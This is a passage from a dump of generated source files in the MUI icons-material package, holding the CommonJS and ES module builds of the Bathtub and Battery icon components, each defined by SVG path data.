    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H2v8h2v1h16v-1h2v-8z\"\n}, \"1\")], 'BathtubSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathtubTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15h16v4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 13V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H2v6c0 1.1.9 2 2 2 0 .55.45 1 1 1h14c.55 0 1-.45 1-1 1.1 0 2-.9 2-2v-6zm0 6H4v-4h16z\"\n}, \"2\")], 'BathtubTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BathtubTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15h16v4H4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"7\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 13V4.83C20 3.27 18.73 2 17.17 2c-.75 0-1.47.3-2 .83l-1.25 1.25c-.16-.05-.33-.08-.51-.08-.4 0-.77.12-1.08.32l2.76 2.76c.2-.31.32-.68.32-1.08 0-.18-.03-.34-.07-.51l1.25-1.25c.15-.15.36-.24.58-.24.46 0 .83.37.83.83V13h-6.85c-.3-.21-.57-.45-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.31-.15-.65-.23-1-.23C6 10.01 5 11.01 5 12.25V13H2v6c0 1.1.9 2 2 2 0 .55.45 1 1 1h14c.55 0 1-.45 1-1 1.1 0 2-.9 2-2v-6zm0 6H4v-4h16z\"\n}, \"2\")], 'BathtubTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v14h6z\"\n}), 'Battery0Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v14h6z\"\n}), 'Battery0Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v14h6z\"\n}), 'Battery0BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v14h6z\"\n}), 'Battery0BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v14h6z\"\n}), 'Battery0BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v14h6z\"\n}), 'Battery0BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v14h6z\"\n}), 'Battery0BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v14h6z\"\n}), 'Battery0BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6h6v14H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v14h6z\"\n}, \"1\")], 'Battery0BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery0BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6h6v14H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v14h6z\"\n}, \"1\")], 'Battery0BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v12h6z\"\n}), 'Battery1Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v12h6z\"\n}), 'Battery1Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v12h6z\"\n}), 'Battery1BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v12h6z\"\n}), 'Battery1BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v12h6z\"\n}), 'Battery1BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v12h6z\"\n}), 'Battery1BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v12h6z\"\n}), 'Battery1BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v12h6z\"\n}), 'Battery1BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6h6v12H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v12h6z\"\n}, \"1\")], 'Battery1BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery1BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6h6v12H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v12h6z\"\n}, \"1\")], 'Battery1BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\"\n  })]\n}), 'Battery20');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\"\n  })]\n}), 'Battery20');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\"\n  })]\n}), 'Battery20Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\"\n  })]\n}), 'Battery20Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\"\n  })]\n}), 'Battery20Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\"\n  })]\n}), 'Battery20Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 17v5h10v-5H7z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v13h10V4z\"\n  })]\n}), 'Battery20Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 17v5h10v-5H7z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v13h10V4z\"\n  })]\n}), 'Battery20Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\"\n  })]\n}), 'Battery20TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery20TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 17v3.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V17H7z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V17h10V5.33z\"\n  })]\n}), 'Battery20TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v10h6z\"\n}), 'Battery2Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v10h6z\"\n}), 'Battery2Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v10h6z\"\n}), 'Battery2BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v10h6z\"\n}), 'Battery2BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery2BarRounded.js",
